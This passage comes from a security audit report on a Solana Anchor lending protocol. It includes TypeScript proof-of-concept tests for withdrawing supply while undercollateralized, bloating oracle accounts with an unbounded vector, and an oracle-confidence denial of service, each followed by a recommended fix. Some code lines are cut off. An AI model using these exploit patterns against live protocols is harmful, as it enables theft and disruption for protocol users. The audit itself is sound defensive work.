    await program.methods.updateOraclePrice(new anchor.BN(1 * 1e6)) // USDC = $1
      .accounts({ oracle: usdcOracle, mint: usdcMint, authority: admin.publicKey })
      .signers([admin]).rpc();

    await program.methods.updateOraclePrice(new anchor.BN(4000 * 1e6)) // ETH = $4000
      .accounts({ oracle: ethOracle, mint: ethMint, authority: admin.publicKey })
      .signers([admin]).rpc();

    // Create accounts
    const borrowerUsdcAccount = await createAccount(provider.connection, borrower3, usdcMint, borrow
    const borrowerEthAccount = await createAccount(provider.connection, borrower3, ethMint, borrower

    // Initialize User Deposit
    const [borrowerDeposit] = PublicKey.findProgramAddressSync(
      [Buffer.from("user_deposit"), borrower3.publicKey.toBuffer(), new anchor.BN(1).toArrayLike(Buf
      program.programId
    );
    try {
      await program.methods.initializeUserDeposit(new anchor.BN(1))
        .accounts({ userDeposit: borrowerDeposit, market, supplyMint: usdcMint, collateralMint: ethM
        .signers([borrower3]).rpc();
    } catch (e) { }

    // 1. Deposit Supply (1000 USDC)
    await mintTo(provider.connection, admin, usdcMint, borrowerUsdcAccount, admin, 1000 * 1e6);
    await program.methods.supply(new anchor.BN(1), new anchor.BN(1000 * 1e6))
      .accounts({
        market, supplyVault, userDeposit: borrowerDeposit, supplyMint: usdcMint, collateralMint: eth
        userSupplyAccount: borrowerUsdcAccount, user: borrower3.publicKey, tokenProgram: TOKEN_PROGR
      })
      .signers([borrower3]).rpc();

    // 2. Deposit Collateral (1 ETH)
    await mintTo(provider.connection, admin, ethMint, borrowerEthAccount, admin, 1 * 1e9);

    // 3. Borrow Max USDC against 1 ETH.
    // ETH Price = 4000. Collateral Value = 4000.
    // Collateral Factor = 8000 (80%).
    // Max Borrow = 3200 USDC.

    await program.methods.borrow(new anchor.BN(1), new anchor.BN(1 * 1e9), new anchor.BN(3200 * 1e6)
      .accounts({
        market, supplyVault, collateralVault, userDeposit: borrowerDeposit, supplyMint: usdcMint, co
        userSupplyAccount: borrowerUsdcAccount, userCollateralAccount: borrowerEthAccount, user: bor
        collateralOracle: ethOracle, borrowOracle: usdcOracle, tokenProgram: TOKEN_PROGRAM_ID
      })
      .signers([borrower3]).rpc();

    console.log("Borrowed Max (3200 USDC). Position Healthy.");

    // 4. Wait for interest to accrue.
    // Rate is ~200% APY (due to H-10).
    // Wait 2 seconds.
    await new Promise(resolve => setTimeout(resolve, 2000));

    // Now debt > 3200.
    // Position is unhealthy.
    // Withdraw Supply should fail if interest was updated.

    // 5. Withdraw Supply (500 USDC).
    console.log("Attempting to withdraw supply while undercollateralized...");
    try {
      await program.methods.withdraw(new anchor.BN(1), new anchor.BN(500 * 1e6)) // Withdraw 500 cTo
        .accounts({
          market, supplyVault, userDeposit: borrowerDeposit, supplyMint: usdcMint, collateralMint: e
          userSupplyAccount: borrowerUsdcAccount, supplyOracle: usdcOracle, collateralOracle: ethOra
          user: borrower3.publicKey, tokenProgram: TOKEN_PROGRAM_ID
        })
        .signers([borrower3]).rpc();

      console.log(" EXPLOIT CONFIRMED: Withdrew supply despite being undercollateralized (Stale Heal
    } catch (e) {
      console.log(" Exploit failed: Withdrawal blocked.");
      throw e;
    }
  });
```

Recommendation: Call `update_market_interest` AND update the user's debt (by applying the new cumulative index) *before* performing the health check in `withdraw`.

[M-01] Unbounded Vector Allocation (Missing Length Check + Resource Exhaustion)

Severity: Medium

Location: `lib.rs`

Description: The `create_oracle` instruction accepts a `source: Vec<u8>` without a length check.

Impact: **Resource Exhaustion / Bloat.** Attackers can create bloated accounts, wasting network storage and potentially exceeding compute limits during deserialization. **Estimated Loss**: Network congestion and potential temporary DoS of specific instructions. No direct fund loss.

Proof of Concept:

```
it("EXPLOIT: Unbounded Vec DoS", async () => {
    console.log("\n STARTING ATTACK: Unbounded Vec DoS");
    // 1. Create a large vector (800 bytes)
    // Max transaction size is ~1232 bytes. 800 bytes should fit.
    const largeSource = Buffer.alloc(800).fill('A');

    // 2. Create a new Oracle with this large source
    const maliciousMint = await createMint(provider.connection, attacker, attacker.publicKey, null,
    const [maliciousOracle] = PublicKey.findProgramAddressSync(
      [Buffer.from("oracle"), maliciousMint.toBuffer()],
      program.programId
    );

    console.log(`Creating Oracle with source length: ${largeSource.length} bytes...`);

    try {
      await program.methods.createOracle(largeSource, new anchor.BN(100), 6)
        .accounts({
          oracle: maliciousOracle,
          mint: maliciousMint,
          authority: attacker.publicKey,
          systemProgram: SystemProgram.programId,
        })
        .signers([attacker])
        .rpc();

      console.log(" Oracle created successfully with large source!");

      // 3. Verify we can read it (deserialization cost)
      const oracleAccount = await program.account.oracle.fetch(maliciousOracle);
      console.log(`Oracle Source Length on-chain: ${oracleAccount.source.length}`);
      expect(oracleAccount.source.length).to.equal(800);

      console.log(" EXPLOIT CONFIRMED: Unbounded Vec accepted!");
    } catch (e) {
      console.log(" Exploit failed: " + e);
      throw e;
    }
});
```

Recommendation: Limit `source` length (e.g., `require!(source.len() <= 32, ...)`).

[M-02] Oracle Confidence Check Too Strict (Logic Error + Denial of Service)

Severity: Medium

Location: `utils.rs`

Description: The `get_asset_price` function enforces a strict check that the oracle's confidence interval must be less than 5% of the price (`oracle.confidence > oracle.price / 20`). If an oracle reports a wider confidence interval (which is common during high market volatility), the protocol rejects the price entirely. This causes critical operations like `borrow`, `withdraw`, and `liquidate` to fail.

Impact: **Denial of Service (DoS) during Volatility.** During market crashes, when liquidations are most critical to maintain protocol solvency, the protocol may freeze due to this check, leading to bad debt accumulation and potential insolvency. **Estimated Loss**: Potential for bad debt accumulation if liquidations are blocked during a crash. Hard to quantify exact loss but could be significant in extreme conditions.

Proof of Concept:

```
it("EXPLOIT: Oracle Confidence DoS", async () => {
    console.log("\n STARTING ATTACK: Oracle Confidence DoS");
```

```
const attacker2 = Keypair.generate();
await provider.connection.confirmTransaction(
  await provider.connection.requestAirdrop(attacker2.publicKey, 10 * anchor.web3.LAMPORTS_PER_SO
);

// 1. Create a "Volatile" Oracle
// We use a low price to trigger the confidence check (confidence=5 is hardcoded in create_oracl
// Price = 50. Confidence = 5.
// Check: 5 > 50 / 20 (= 2.5). TRUE.
// This simulates an oracle reporting a wide confidence interval.

const volatileMint = await createMint(provider.connection, attacker2, attacker2.publicKey, attac
const [volatileOracle] = PublicKey.findProgramAddressSync(
  [Buffer.from("oracle"), volatileMint.toBuffer()],
  program.programId
);

await program.methods.createOracle(
  Buffer.from("volatile"),
  new anchor.BN(50), // Price 50
  6
)
.accounts({
  oracle: volatileOracle,
  mint: volatileMint,
  authority: attacker2.publicKey,
  systemProgram: SystemProgram.programId,
})
.signers([attacker2])
.rpc();

console.log("Created Volatile Oracle (Price: 50, Confidence: 5)");

// 2. Attempt to use this oracle (e.g. for borrowing)
// We use the C-02 vulnerability (Fake Oracle) to inject this oracle,
// effectively simulating a scenario where the legitimate market oracle has become volatile.

const attackerUsdcAccount = await createAccount(provider.connection, attacker2, usdcMint, attack
const attackerEthAccount = await createAccount(provider.connection, attacker2, ethMint, attacker

// Deposit some collateral
const [attackerDeposit] = PublicKey.findProgramAddressSync(
  [Buffer.from("user_deposit"), attacker2.publicKey.toBuffer(), new anchor.BN(1).toArrayLike(Buf
  program.programId
);

// Initialize if not exists
try {
    await program.methods.initializeUserDeposit(new anchor.BN(1))
    .accounts({ userDeposit: attackerDeposit, market, supplyMint: usdcMint, collateralMint: ethM
    .signers([attacker2]).rpc();
} catch(e) {}

// Deposit collateral
await mintTo(provider.connection, admin, ethMint, attackerEthAccount, admin, 10 * 1e9);
await program.methods.borrow(new anchor.BN(1), new anchor.BN(1 * 1e9), new anchor.BN(0))
  .accounts({
        market, supplyVault, collateralVault, userDeposit: attackerDeposit, supplyMint: usdcMint, co
        userSupplyAccount: attackerUsdcAccount, userCollateralAccount: attackerEthAccount, user: att
        collateralOracle: ethOracle, borrowOracle: usdcOracle, tokenProgram: TOKEN_PROGRAM_ID
      })
      .signers([attacker2]).rpc();

    // 3. Try to Borrow using the Volatile Oracle
    console.log("Attempting to borrow using Volatile Oracle...");
    try {
        await program.methods.borrow(new anchor.BN(1), new anchor.BN(0), new anchor.BN(10 * 1e6))
        .accounts({
            market, supplyVault, collateralVault, userDeposit: attackerDeposit, supplyMint: usdcMint
            userSupplyAccount: attackerUsdcAccount, userCollateralAccount: attackerEthAccount, user:
            collateralOracle: volatileOracle, // <--- The Volatile Oracle
            borrowOracle: usdcOracle,
            tokenProgram: TOKEN_PROGRAM_ID
        })
        .signers([attacker2]).rpc();

        expect.fail("Borrow should have failed due to InvalidOracleData");
    } catch (e: any) {
        if (JSON.stringify(e).includes("InvalidOracleData")) {
            console.log(" EXPLOIT CONFIRMED: Operation blocked by Oracle Confidence Check!");
        }
    }
});
```

Recommendation: Instead of rejecting the price, use the conservative bound of the confidence interval (e.g., `price - confidence` for collateral, `price + confidence` for borrowing). This allows operations to continue safely even with wider confidence intervals.

Audit Process & Methodology

Tools Used

- **Manual Code Review**: Line-by-line analysis.
- **Anchor Test Suite**: Developed custom TypeScript PoCs.
